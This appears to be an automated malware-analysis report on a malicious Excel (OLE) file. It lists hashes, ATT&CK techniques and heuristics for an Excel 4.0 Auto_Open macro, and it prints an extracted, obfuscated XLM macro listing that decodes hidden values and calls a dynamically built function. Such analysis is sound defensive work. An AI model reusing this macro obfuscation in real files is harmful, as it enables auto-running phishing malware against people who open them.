Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b61d9c4fd6a10ac…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:01 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 0927c120a5ebae66b98e7962edb57903 SHA-1: 879cfc1d3a74ea615189899061823488b8cd1726 SHA-256: 4b61d9c4fd6a10ac18c1f8d2eddf94b9b0d86276a770ccaddd4f05b577bd46d2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical indicator of malicious intent. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code. This is a common technique for delivering malware via spearphishing attachments.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6755 bytes
SHA-256: 8636b4f23c7962225b859216630e1f80c742266087eadd1f5d52883fd5de82bb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DFGaZ
' 0018     26 LABEL : Cell Value, String Constant - aJOPZWBXrqv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A159 
' 0018     25 LABEL : Cell Value, String Constant - bPpVCdkNZO len=0 
' 0018     27 LABEL : Cell Value, String Constant - DdoSgJUgBSph len=0 
' 0018     22 LABEL : Cell Value, String Constant - eDEmiKr len=0 
' 0018     27 LABEL : Cell Value, String Constant - feTsphHtmdOI len=0 
' 0018     20 LABEL : Cell Value, String Constant - iGfWD len=0 
' 0018     26 LABEL : Cell Value, String Constant - IlfPFihLjld len=0 
' 0018     27 LABEL : Cell Value, String Constant - JsBFaGdHiqiY len=0 
' 0018     24 LABEL : Cell Value, String Constant - KjZtnLiuE len=0 
' 0018     24 LABEL : Cell Value, String Constant - LLusrSquX len=0 
' 0018     24 LABEL : Cell Value, String Constant - nEKUxZAJH len=0 
' 0018     25 LABEL : Cell Value, String Constant - NgQZzdJndE len=0 
' 0018     24 LABEL : Cell Value, String Constant - NRjEzKwvp len=0 
' 0018     26 LABEL : Cell Value, String Constant - NWPqRuPHlIa len=0 
' 0018     24 LABEL : Cell Value, String Constant - pUvLrGKNU len=0 
' 0018     27 LABEL : Cell Value, String Constant - tHzYDxlezAoV len=0 
' 0018     26 LABEL : Cell Value, String Constant - TIBFiOOIVtD len=0 
' 0018     23 LABEL : Cell Value, String Constant - tpyDpFSH len=0 
' 0018     27 LABEL : Cell Value, String Constant - vGIDHYiIOAnm len=0 
' 0018     21 LABEL : Cell Value, String Constant - VPcoib len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DFGaZ,A74,"SET.NAME("NWPqRuPHlIa",0+VALUE("0"))",""
'  DFGaZ,A79,"SET.NAME("iGfWD",NWPqRuPHlIa)",""
'  DFGaZ,A81,"SET.NAME("IlfPFihLjld",NWPqRuPHlIa)",""
'  DFGaZ,T82,"",518.00000000000000000000
'  DFGaZ,T83,"",-600.00000000000000000000
'  DFGaZ,T84,"",857.00000000000000000000
'  DFGaZ,T85,"",987.00000000000000000000
'  DFGaZ,A86,"SET.NAME("NRjEzKwvp",COUNTA(DdoSgJUgBSph))",""
'  DFGaZ,T86,"",476.00000000000000000000
'  DFGaZ,T87,"",629.00000000000000000000
'  DFGaZ,A91,"SET.NAME("tpyDpFSH",COUNTA(VPcoib))",""
'  DFGaZ,A93,[],""
'  DFGaZ,A96,"SET.NAME("bPpVCdkNZO","")",""
'  DFGaZ,A98,"iGfWD",""
'  DFGaZ,A102,"SET.NAME("aJOPZWBXrqv",HLOOKUP("*",DdoSgJUgBSph,iGfWD,FALSE))",""
'  DFGaZ,A104,"LLusrSquX",""
'  DFGaZ,A107,"SET.NAME("feTsphHtmdOI",NWPqRuPHlIa)",""
'  DFGaZ,A110,[],""
'  DFGaZ,A112,"feTsphHtmdOI",""
'  DFGaZ,A116,"nEKUxZAJH",""
'  DFGaZ,A118,"KjZtnLiuE",""
'  DFGaZ,A120,"TIBFiOOIVtD",""
'  DFGaZ,A122,"SET.NAME("tHzYDxlezAoV",VALUE(HLOOKUP("*",VPcoib,TIBFiOOIVtD,FALSE)))",""
'  DFGaZ,A127,"pUvLrGKNU",""
'  DFGaZ,A132,"bPpVCdkNZO",""
'  DFGaZ,A134,"IlfPFihLjld",""
'  DFGaZ,A137,NEXT(),""
'  DFGaZ,A142,"eDEmiKr",""
'  DFGaZ,A145,[],""
'  DFGaZ,A147,"NgQZzdJndE",""
'  DFGaZ,A152,NEXT(),""
'  DFGaZ,A154,RETURN(),""
'  DFGaZ,A183,"SET.NAME("JsBFaGdHiqiY",A74)",""
'  DFGaZ,A186,"DdoSgJUgBSph",""
'  DFGaZ,A191,"SET.NAME("VPcoib",R48C14)",""
'  DFGaZ,A196,"SET.NAME("NgQZzdJndE",202)",""
'  DFGaZ,A199,"SET.NAME("vGIDHYiIOAnm",1)",""
'  DFGaZ,A201,JsBFaGdHiqiY(),""
'  DFGaZ,A202,HALT(),""